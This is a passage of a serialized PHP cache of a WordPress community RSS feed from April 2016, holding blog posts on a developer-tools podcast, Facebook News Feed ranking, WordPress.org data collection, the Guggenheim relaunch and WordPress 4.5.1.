href="https://github.com/koke">@koke</a>, <a href="https://github.com/kurzee">@kurzee</a>, <a href="https://github.com/kwonye">@kwonye</a>, <a href="https://github.com/sendhil">@sendhil</a> and <a href="https://github.com/SergioEstevao">@SergioEstevao</a>.</p>\n<p>You can track the development progress for the next update by visiting <a href="https://github.com/wordpress-mobile/WordPress-iOS/issues?utf8=✓&q=is%3Aissue+milestone%3A6.2+" target="_blank">our 6.2 milestone on GitHub</a>. Until next time!</p><img alt="" border="0" src="https://pixel.wp.com/b.gif?host=apps.wordpress.com&blog=108068616&post=3375&subd=apps&ref=&feed=1" width="1" height="1" />";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 25 Apr 2016 13:30:37 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:14:"diegoreymendez";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:28;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:58:"Post Status: WordPress Development Tools — Draft Podcast";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:31:"https://poststatus.com/?p=24094";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:65:"https://poststatus.com/wordpress-development-tools-draft-podcast/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:5423:"<p>Welcome to the Post Status <a href="https://poststatus.com/category/draft">Draft podcast</a>, which you can find <a href="https://itunes.apple.com/us/podcast/post-status-draft-wordpress/id976403008">on iTunes</a>, <a href="http://www.stitcher.com/podcast/krogsgard/post-status-draft-wordpress-podcast">Stitcher</a>, and <a href="http://simplecast.fm/podcasts/1061/rss">via RSS</a> for your favorite podcatcher. Post Status Draft is hosted by Joe Hoyle &#8212; the CTO of Human Made &#8212; and Brian Krogsgard.</p>\n<p><span>Everybody creates workflows to accomplish their development work. And sometimes you come upon a new tool that completely changes how you do things, and helps you improve your productivity.</span></p>\n<p><span>In this episode, Joe and Brian aim to share their tools in the hopes that it will help others review and refine their own processes. And Joe and Brian approach things quite differently themselves, so they compare and contrast their own workflows. Have something to add to the conversation, be sure to comment!</span></p>\n<!--[if lt IE 9]><script>document.createElement(''audio'');</script><![endif]-->\n<a href="https://audio.simplecast.com/36197.mp3">https://audio.simplecast.com/36197.mp3</a>\n<p><a href="http://audio.simplecast.com/36197.mp3">Direct Download</a></p>\n<h3>Tools</h3>\n<ul>\n<li><a href="https://github.com/modmore/Gitify">Gitify</a>, <a href="http://www.cockos.com/licecap/">lice-cap</a></li>\n<li><a href="http://www.capturedapp.com/">Captured (straight to S3)</a>, <a href="http://gifhub.org/">Gifhub</a>, <a href="https://www.telestream.net/screenflow/">Screenflow</a>, <a href="https://cloudup.com/">Cloudup</a></li>\n<li><a href="https://www.authy.com/">Authy</a></li>\n<li><a href="https://justgetflux.com/">F.lux</a></li>\n<li><a href="https://www.tunnelbear.com/">TunnelBear</a></li>\n<li><a href="https://www.alfredapp.com/">Alfred</a></li>\n<li><a href="https://slack.com/">Slack</a></li>\n</ul>\n<h3>Coding Tools &amp; Debugging</h3>\n<ul>\n<li><a href="https://www.jetbrains.com/phpstorm/">PHPStorm</a>, <a href="https://www.sublimetext.com/">Sublime</a>, <a href="https://atom.io/">Atom</a>, <a href="http://www.vim.org/">VIM</a>, <a href="https://panic.com/coda/">Coda</a></li>\n<li><a href="https://xdebug.org/">Xdebug</a>, <a href="http://php.net/manual/en/function.var-dump.php">var_dump</a>, <a href="https://pecl.php.net/package/xhprof">XHProf</a></li>\n<li><a href="https://github.com/jkbrzt/httpie">httpie</a></li>\n<li><a href="https://atom.io/packages">Atom Packages</a>: <a href="https://atom.io/packages/autocomplete-php">php-autocomplete</a>, WPCS, <a href="https://atom.io/packages/linter-php">php-linter</a></li>\n<li><a href="https://facebook.github.io/react/blog/2015/09/02/new-react-developer-tools.html">React-console</a></li>\n<li><a href="https://wordpress.org/plugins/query-monitor/">Query Monitor</a></li>\n<li><a href="http://www.sequelpro.com/">Sequel Pro</a>, <a href="http://dev.mysql.com/doc/refman/5.7/en/mysql.html">mysql command line</a></li>\n<li><a href="https://www.iterm2.com/">iTerm2</a></li>\n<li><a href="http://wp-cli.org/">wp-cli!!!</a></li>\n</ul>\n<h3>Build Tools</h3>\n<ul>\n<li><a href="http://gruntjs.com/">Grunt</a></li>\n<li><a href="http://gulpjs.com/">Gulp</a></li>\n<li><a href="https://www.gnu.org/software/make/">Make</a></li>\n<li><a href="https://imageoptim.com/mac">ImageOptim</a></li>\n<li><a href="https://www.npmjs.com/package/grunt-sass">Grunt-sass</a> vs. <a href="https://www.npmjs.com/package/grunt-contrib-sass">grunt-contrib-sass</a></li>\n</ul>\n<h3>Version Control / Review Tools / Deployment</h3>\n<ul>\n<li><a href="http://jonas.nitro.dk/tig/">Tig</a>, <a href="https://www.git-tower.com/">Tower</a></li>\n<li><a href="https://hub.github.com/">Hub</a></li>\n<li><a href="https://github.com/">Github</a></li>\n<li><a href="http://www.araxis.com/merge/index.en">Araxis Merge</a></li>\n<li><a href="http://deploybot.com/">DeployBot</a> / <a href="http://beanstalkapp.com/">Beanstalk</a></li>\n<li><a href="https://panic.com/transmit/">Transmit (S3/SFTP)</a></li>\n</ul>\n<h3>Frontend Tools / Extensions</h3>\n<ul>\n<li><a href="https://developer.chrome.com/devtools">Chrome Inspector / Console</a></li>\n<li><a href="https://www.getpostman.com/">Postman</a></li>\n<li><a href="https://developer.chrome.com/devtools/docs/javascript-debugging">Chrome JS Debugger</a></li>\n<li><a href="https://chrome.google.com/webstore/detail/ip-address-and-domain-inf/lhgkegeccnckoiliokondpaaalbhafoa?hl=en">IP &amp; Domain Info extension</a></li>\n<li><a href="https://chrome.google.com/webstore/detail/web-developer/bfbameneiokkgbdmiekhjnmfkcnldhhm?hl=en">Web Developer</a></li>\n<li><a href="https://wappalyzer.com/">Wappalyzer</a></li>\n<li><a href="http://codepen.io/">CodePen</a></li>\n</ul>\n<h3>Sponsor</h3>\n<p class="p1"><span class="s1">This podcast is sponsored by <a href="https://yoast.com/">Yoast</a>. Yoast SEO is the best WordPress SEO plugin available, with a premium version to provide expert support and additional features. Thank you to Yoast for being a Post Status partner.</span></p>\n<h3>Related Podcasts</h3>\n<p><a href="https://poststatus.com/understanding-wp-cli-and-a-discussion-on-micro-plugin-businesses-draft-podcast/">Understanding WP-CLI</a></p>\n<p><a href="https://poststatus.com/local-wordpress-development-strategies-and-transparency-in-business-draft-podcast/">Local WordPress Development Strategies</a></p>\n<p>&nbsp;</p>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 23 Apr 2016 14:06:22 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:14:"Katie Richards";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:29;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:43:"WPTavern: In Case You Missed It – Issue 8";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:44:"http://wptavern.com?p=53989&preview_id=53989";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:49:"http://wptavern.com/in-case-you-missed-it-issue-8";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:5006:"<a href="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/01/ICYMIFeaturedImage.png" rel="attachment wp-att-50955"><img class="size-full wp-image-50955" src="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/01/ICYMIFeaturedImage.png?resize=676%2C292" alt="In Case You Missed It Featured Image" /></a>photo credit: <a href="http://www.flickr.com/photos/112901923@N07/16153818039">Night Moves</a> &#8211; <a href="https://creativecommons.org/licenses/by-nc/2.0/">(license)</a>\n<p>There’s a lot of great WordPress content published in the community but not all of it is featured on the Tavern. This post is an assortment of items related to WordPress that caught my eye but didn’t make it into a full post.</p>\n<h2>Matt Mullenweg&#8217;s Father Passes Away</h2>\n<p>Losing a loved one is tough, especially when it&#8217;s a parent. Matt Mullenweg&#8217;s father, Chuck Mullenweg, recently passed away. Matt <a href="https://ma.tt/2016/04/in-memoriam-chuck-mullenweg/">published a touching tribute</a> on his site that describes the kind of man his father was.</p>\n<blockquote><p>We were in a father / son bowling league. I remember admiring his work ethic so much: he’d get up before dawn every morning and put on a suit, grab his briefcase, and go to work. He often went in on weekends and I loved to go with him because they had &#8216;fast&#8217; internet at the office and I could read Dilbert and about Babylon 5. He was a voracious reader and learner, and loved tinkering whether it was cars or networking. In the other room I can hear a bitcoin mining rig he set up a few years ago. He was independent minded and unafraid to question the status quo.</p></blockquote>\n<p>My deepest sympathies and condolences go out to the Mullenweg family. You can read <a href="http://ma.tt/chuck/">Chuck&#8217;s obituary here</a>.</p>\n<h2>My First Plugin</h2>\n<p>Thanks to <a href="https://profiles.wordpress.org/binarygary/">Binarygary,</a> my first plugin is in the directory. It&#8217;s called <a href="https://wordpress.org/plugins/hello-admin/">Hello Admin</a> and with each page load, a lyric from Hello Dolly displays as an admin notice.</p>\n<a href="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/HelloAdminScreenshot.png"><img class="size-full wp-image-54005" src="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/HelloAdminScreenshot.png?resize=706%2C390" alt="Hello Admin in Action" /></a>Hello Admin in Action\n<p>In all seriousness, the plugin is a joke and a humorous way to bring attention to developers <a href="http://wptavern.com/please-stop-abusing-wordpress-admin-notices">abusing admin notices</a> in WordPress.</p>\n<h2>Pressware Partners with Evermore</h2>\n<p>Tom McFarlin <a href="https://tommcfarlin.com/evermore/">announced that his</a> company Pressware, is partnering with <a href="https://evermo.re/">Evermore</a>. The partnership allows Pressware to provide its expertise in custom WordPress development and project management to Evermore&#8217;s customers.</p>\n<h2>Four Years of EDD</h2>\n<p>Pippin Williamson <a href="https://pippinsplugins.com/edd-4-years/">shared the hardships and successes</a> he&#8217;s experienced in the last four years managing Easy Digital Downloads.</p>\n<blockquote><p>Today, Easy Digital Downloads is installed on over 50,000 websites, has reached nearly one million downloads, and has grown to a sustainable business that supports the livelihood of an ever-growing team comprised of full time employees and active contractors. I don’t think I ever thought we would be where we are today four years ago.</p></blockquote>\n<p>His post is an honest look at the amount of effort and circumstances beyond revenue that&#8217;s involved with running a successful business.</p>\n<h2>Translation Day Wapuu Posters!</h2>\n<p>In what is a traditional part of this series, I end each issue by featuring a Wapuu design. For those who don&#8217;t know, Wapuu is the <a href="http://wapuu.jp/2015/12/12/wapuu-origins/">unofficial mascot</a> of the WordPress project. The first <a href="http://wptavern.com/wordpress-global-translation-day-set-for-april-24-2016">global translation day</a> takes place on April 24th and to celebrate the occasion, the WordPress Polyglots team has created a series of Wapuu posters.</p>\n<blockquote class="twitter-tweet"><p lang="en" dir="ltr">New <a href="https://twitter.com/hashtag/WPTranslationDay?src=hash">#WPTranslationDay</a> posters starring <a href="https://twitter.com/wp_wapuu">@wp_wapuu</a> thanks to <a href="https://twitter.com/sonjaleix">@sonjaleix</a>! Grab them while they’re hot! <a href="https://t.co/BfU9g8nG9S">pic.twitter.com/BfU9g8nG9S</a></p>\n<p>&mdash; WPPolyglots (@TranslateWP) <a href="https://twitter.com/TranslateWP/status/723494729892110336">April 22, 2016</a></p></blockquote>\n<p></p>\n<p>That&#8217;s it for issue eight. If you recently discovered a cool resource or post related to WordPress, please share it with us in the comments.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 23 Apr 2016 02:04:37 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Jeff Chandler";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:30;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:87:"WPTavern: Facebook News Feed Now Favors Articles That Users Spend a Longer Time Reading";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=53919";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:97:"http://wptavern.com/facebook-news-feed-now-favors-articles-that-users-spend-a-longer-time-reading";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:3187:"<a href="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/reading.jpg"><img src="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/reading.jpg?resize=960%2C624" alt="RC Cipriano" class="size-full wp-image-53999" /></a><a href="https://stocksnap.io/photo/F55691D3FB">RC Cipriano</a>\n<p>Facebook <a href="https://newsroom.fb.com/news/2016/04/news-feed-fyi-more-articles-you-want-to-spend-time-viewing/" target="_blank">announced</a> yesterday that its news feed algorithm will now favor articles that users spend a long time reading. While likes, clicks, comments, and sharing counts are all valuable metrics, they are not always reliable determinants for what users want to see. Facebook discovered this by gathering feedback via its Feed Quality Program.</p>\n<p>As a result, the social network <a href="https://newsroom.fb.com/news/2015/06/news-feed-fyi-taking-into-account-time-spent-on-stories/" target="_blank">updated its algorithm last June</a> to factor in how much time users spent reading posts within the news feed, regardless of whether users even opened the article. <a href="https://newsroom.fb.com/news/2014/08/news-feed-fyi-click-baiting/" target="_blank">Two years ago</a>, Facebook also began factoring in instances where a user clicks on an article but then comes straight back to the news feed. This could be because a site loaded too slowly or the article was click-bait and not what the user was expecting based on the preview.</p>\n<p>&#8220;Building on this work, we’re learning that the time people choose to spend reading or watching content they clicked on from News Feed is an important signal that the story was interesting to them,&#8221; Facebook representatives said.<strong> &#8220;We are adding another factor to News Feed ranking so that we will now predict how long you spend looking at an article in the Facebook mobile browser or an Instant Article after you have clicked through from News Feed.&#8221;</strong></p>\n<p>Facebook will not be counting loading time towards this new ranking signal but will calculate the actual time spent reading/watching once the content has loaded. But before you think you can game this algorithm by simply publishing longer articles, Facebook will be measuring this time as a threshold so that longer articles are not preferred by default.</p>\n<p>The social network also announced that it will be diversifying its display of posts from different pages so as not to bombard users with too much content from the same source.</p>\n<p>&#8220;We’ve also heard from people that they enjoy reading articles from a wide range of publishers, and it can be repetitive if too many articles from the same source are back to back in their News Feed,&#8221; representatives said. &#8220;We’ll also be making an update to reduce how often people see several posts in a row from the same source in their News Feed.&#8221;</p>\n<p>Publishers who depend on Facebook for a significant amount of their referrals will want to take note of these changes to the news feed algorithm. The social network has already started rolling them out and will continue over the next few weeks.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 22 Apr 2016 22:21:20 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:31;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:76:"WPTavern: What WordPress.org Does with the Data it Collects from Users Sites";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=53940";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:86:"http://wptavern.com/what-wordpress-org-does-with-the-data-it-collects-from-users-sites";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:5110:"<a href="http://i0.wp.com/wptavern.com/wp-content/uploads/2015/12/FreemiusFeaturedImage.png"><img class="size-full wp-image-49261" src="http://i0.wp.com/wptavern.com/wp-content/uploads/2015/12/FreemiusFeaturedImage.png?resize=660%2C291" alt="Freemius Featured Image" /></a>photo credit: <a href="http://www.flickr.com/photos/29096601@N00/2920562020">data slide</a> &#8211; <a href="https://creativecommons.org/licenses/by-nc/2.0/">(license)</a>\n<p>Since I started covering WordPress in 2009, one of the things I&#8217;ve noticed is that certain topics have a cyclical nature to them. One of these <a href="http://wptavern.com/phoning-home-to-plugin-authors">is the contention in the WordPress community</a> on what data is <a href="http://interconnectit.com/1722/who-is-wordpress-talking-to/">sent, stored, and shared</a> on WordPress.org. In a <a href="http://torquemag.io/2016/04/user-data-wordpress-org-belong-community/">post published</a> on Torquemag.io, Josh Pollock, Founder of <a href="https://calderawp.com/">CalderaWP</a>, argues that WordPress is a community-driven project and as such, data collected by WordPress.org should be shared with the community.</p>\n<blockquote><p>If installing and updating themes via the WordPress dashboard wasn’t so easy, WordPress wouldn’t be what it is today. I understand and appreciate this.</p>\n<p>Here’s the part that doesn’t sit well with me: WordPress.org is collecting data on all of its users (as it should), but this information isn’t available in aggregate form to the community.</p></blockquote>\n<p>Pollock says that as an entrepreneur, the information would help him make informed business decisions.</p>\n<h2>Data is Stored for Two Days</h2>\n<p>I spoke to Samuel ‘Otto’ Wood, who helps maintain WordPress.org, and discovered that some of the assumptions people have are not true.</p>\n<p>&#8220;The data collection systems on <a href="http://w.org/" target="_blank" rel="noreferrer">w.org</a> have been inconsistent at best, and re-written several times,&#8221; Wood said.</p>\n<p>&#8220;But the general idea that there is some kind of treasure trove of information we&#8217;re storing is misguided, at best. The data is collected, aggregated for the things we display, then tossed. We don&#8217;t store it for any serious length of time. Just the results of the data like the counts.&#8221;</p>\n<p>Gathering, sorting, and displaying the large amount of data associated with WordPress is a CPU intensive job. The most recent example of WordPress.org sharing aggregate data is for active installs of <a href="http://wptavern.com/wordpress-plugin-directory-launches-new-design">plugins</a> and <a href="http://wptavern.com/the-wordpress-theme-directory-replaces-download-counts-with-the-number-of-active-installs">themes</a>. Displaying the Active Install count is the result of significant performance improvements from WordPress lead developer <a href="http://wptavern.com/the-wordpress-theme-directory-replaces-download-counts-with-the-number-of-active-installs">Dion Hulse</a>. Without the improvements, the data collection would have overloaded CPUs and MySQL databases.</p>\n<p>&#8220;Gathering that data is frickin&#8217; difficult to start with, &#8220;Wood said. &#8220;For the longest time, we didn&#8217;t even have the actual system resources to pull off the &#8216;Active Installs&#8217; count. We didn&#8217;t display that count because <b>we couldn&#8217;t do it</b>. The idea that we&#8217;re hiding things is ludicrous.&#8221;</p>\n<p>Raw data is stored for two days and is then overwritten, &#8220;basically, there&#8217;s too much data to store,&#8221; Wood said. &#8220;All of the data that <a href="http://w.org/" target="_blank" rel="noreferrer">w.org</a> gathers is used to display the stats on <a href="http://w.org/" target="_blank" rel="noreferrer">w.org</a> itself. Nothing special is hidden.&#8221;</p>\n<h2>Data Accuracy is Hard</h2>\n<p>If developers are going to make business decisions using public data, the data has to be accurate. Accuracy is a complex problem but the team has slowly made progress over the years as legacy systems on W.org are phased out.</p>\n<p>&#8220;A lot of the <a href="http://w.org/" target="_blank" rel="noreferrer">w.org</a> systems are poorly made,&#8221; Wood said. &#8220;They&#8217;re old, have been modified dozens of times over the years, and badly in need of updating. For a long time, the data we gathered could not be processed fast enough so we simply threw over half of it away.</p>\n<p>&#8220;Mostly, we phase out old useless systems and replace them with something better and newer which gives us things to display. Active Install counts was an entirely new system that replaced an older one which didn&#8217;t give any useful information.&#8221;</p>\n<p>Wood confirms what I&#8217;ve believed to be true for a long time. WordPress.org is not storing data for an extended period of time and the information that is collected is likely on public display somewhere on the site. What types of data would you like to see on WordPress.org?</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 22 Apr 2016 20:38:26 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Jeff Chandler";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:32;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:70:"WPTavern: Guggenheim.org Relaunches on WordPress Using the WP REST API";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=53954";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:80:"http://wptavern.com/guggenheim-org-relaunches-on-wordpress-using-the-wp-rest-api";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2726:"<p><a href="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/guggenheim.png"><img src="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/guggenheim.png?resize=1025%2C444" alt="guggenheim" class="aligncenter size-full wp-image-53969" /></a></p>\n<p>The <a href="http://www.guggenheim.org/" target="_blank">Guggenheim</a> relaunched its website on WordPress this week. The site, which represents the collection of Guggenheim museums, was in need of an overhaul that would modernize its underlying architecture and design.</p>\n<p>Laura Kleger, who oversees the foundation&#8217;s online projects, explained why the Guggenheim chose WordPress for its new website. She said that the team began with a CMS analysis phase, which included Drupal and WordPress.</p>\n<p>&#8220;The ideal process for improving websites is incremental and rapid change, but the old Guggenheim.org had accumulated too much technical and structural debt to produce further results, and a big leap forward was required,&#8221; Kleger said.</p>\n<p>Prior to embarking on the project, the Guggenheim was running on Joomla, but the team had a difficult time implementing small changes.</p>\n<p>&#8220;We wanted to use a widely adopted, open-source CMS with enough muscle to meet advanced needs,&#8221; Kleger said. They needed a user-friendly way for museum staff to create and update content without requesting the help of of designers and developers for simple updates.</p>\n<p>&#8220;We chose WordPress for a few reasons &#8211; among them, the broad pool of developer resources, the excellence of the content administration interface, the rapid update release cycle, the ease of extending functionality, and the CMS’s deep taxonomy,&#8221; Kleger said.</p>\n<p>The Guggenheim partnered with New York-based development agency <a href="https://www.alleyinteractive.com/" target="_blank">Alley Interactive</a> for the website&#8217;s overhaul, who recommended implementing a headless version of WordPress with content served via the WP REST API. This allowed the team to build out the frontend of the site using AngularJS.</p>\n<p>&#8220;As noted by <a href="http://alistapart.com/column/nearly-headless-cms" target="_blank">others</a>, this approach is superior to the standard WordPress templating approach for achieving some of the more exciting possibilities in user experience today,&#8221; Kleger said.</p>\n<p>The new website is a beautiful example of the WP REST API in the wild. For a deeper look at the design and development process, check out Kleger&#8217;s <a href="http://www.guggenheim.org/blogs/checklist/meet-the-new-guggenheim-org" target="_blank">post announcing the new Guggenheim.org</a>.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 22 Apr 2016 13:34:51 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:33;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:50:"WPTavern: WordPress 4.5.1 Expected Early Next Week";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=53935";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:60:"http://wptavern.com/wordpress-4-5-1-expected-early-next-week";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1567:"<p>WordPress 4.5 &#8220;Coleman&#8221; was <a href="http://wptavern.com/wordpress-4-5-coleman-released-introduces-custom-logos-responsive-previews-improved-editing-experience">released last week</a> without too many issues. However, the WordPress development team recently identified two bugs that are prompting an immediate point release <a href="https://make.wordpress.org/core/2016/04/20/4-5-1-release-candidate-tomorrow-april-21st/">scheduled for next week</a>.</p>\n<p>The <a href="https://core.trac.wordpress.org/ticket/36545">first is that</a> TinyMCE toolbars and tabs are unresponsive in Chrome Version 50.0.2661.75 beta-m (64-bit). The second is that <a href="https://core.trac.wordpress.org/ticket/36510">page templates with widgets are styled incorrectly</a>. WordPress 4.5 added a singular class that many themes use, including Twenty Eleven, that breaks a site&#8217;s layout. After a lengthy discussion and testing, the decision was to <a href="https://core.trac.wordpress.org/changeset/36112">revert</a> the change.</p>\n<p><a href="https://wordpress.org/wordpress-4.5.1-RC2.zip">WordPress 4.5.1 RC 1</a> is available and the core team wants as many people as possible to test the <a href="https://make.wordpress.org/core/2016/04/22/4-5-1-release-candidate/">TinyMCE update and other bug fixes</a> included in the release. If you think you&#8217;ve discovered a bug, you&#8217;re encouraged to report it in the <a 